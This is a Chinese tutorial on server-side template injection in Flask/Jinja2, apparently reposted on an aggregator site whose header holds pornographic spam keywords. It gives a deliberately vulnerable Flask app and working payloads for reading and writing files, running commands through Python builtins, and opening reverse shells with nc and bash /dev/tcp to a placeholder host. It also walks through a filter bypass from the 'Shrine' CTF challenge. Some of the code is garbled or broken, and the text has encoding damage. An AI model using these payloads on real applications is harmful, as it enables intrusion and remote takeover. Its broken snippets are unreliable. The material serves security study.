日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

flask jinja2 mysql_flask/jinja2 SSTI注入学习

發(fā)布時(shí)間:2024/10/12 数据库 70 豆豆
生活随笔 收集整理的這篇文章主要介紹了 flask jinja2 mysql_flask/jinja2 SSTI注入学习 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

0x00 前言

服務(wù)端模板注入(SSTI)攻擊,可以看看James Kettle寫的這篇文章。

flask出現(xiàn)模板注入原因主要還是因?yàn)槭褂昧藃ender_template_string函數(shù)

0x01 環(huán)境搭建

test.py1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19from flask import Flask,render_template,config,render_template_string,request

from Config import Config

app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"

@app.errorhandler(404)

def (e):

template = '''

Oops! That page doesn't exist.

%s

''' %(request.url)

return render_template_string(template)

if __name__=='__main__':`

app.run('0.0.0.0',9999,debug=True)

0x02 檢測注入1

2http://localhost:8888/{{ 7*7 }}

#http://localhost:8888/%7B%7B7*7%7D%7D

導(dǎo)出config變量1http://localhost:8888/{{config.items()}}

導(dǎo)出類1http://localhost:8888/{{''.__class__.__mro__[2].__subclasses__()}}

0x03 漏洞利用python2 和python3 有不同,這里測試的是python2,python3的類每次位置會(huì)變

文件操作

能夠執(zhí)行代碼,就能夠完成很多事情,接下來,我們將寫入一個(gè)webshell。之后的知識涉及沙箱逃逸和反彈shell

python2:1

2

3

4#寫

{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag', 'w').write('1234123') }}

#讀

{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag').read() }}

執(zhí)行命令1

2

3

4

5

6

7

8''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__

下有eval,__import__等的全局函數(shù),可以利用此來執(zhí)行命令:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

#__import__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反彈shell1

2

3

4

5

6

7

8

9

10

11

12# 寫入文件

payload 1 ::

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}

payload 2 ::

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}

# 利用 config.from_pyfile 加載文件

{{ config.from_pyfile('/tmp/shaobao') }}

# 反彈shell ; 提供兩種方法;對應(yīng)上的兩個(gè)文件

payload1 ::

{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}

payload2 ::

{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}

如果過濾了’(‘,’)’,例如TokyoWesterns CTF 4th 2018 - Shrine1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21import flask

import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')

def index():

return open(__file__).read()

@app.route('/shrine/')

def shrine(shrine):

def safe_jinja(s):

s = s.replace('(', '').replace(')', '')

blacklist = ['config', 'self']

return '

'.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':

app.run(debug=True)1

2

3

4

5def __repr__(self):

top = _app_ctx_stack.top

if top is not None:

return '' % top.app.name

return object.__repr__(self)

payload:

g.__repr__.__func__.__globals__._app_ctx_stack.top.app.name.config

該func屬性將為我們提供由方法運(yùn)行的函數(shù)(方法是一個(gè)函數(shù)加上它所屬的類的引用,我認(rèn)為

0x05 防范與總結(jié)不提倡使用 render_template_string()

一般開發(fā)者都會(huì)將模板內(nèi)容寫入固定文件夾templates規(guī)范模板渲染,按照J(rèn)inja2的官方文檔

Referer

總結(jié)

以上是生活随笔為你收集整理的flask jinja2 mysql_flask/jinja2 SSTI注入学习的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。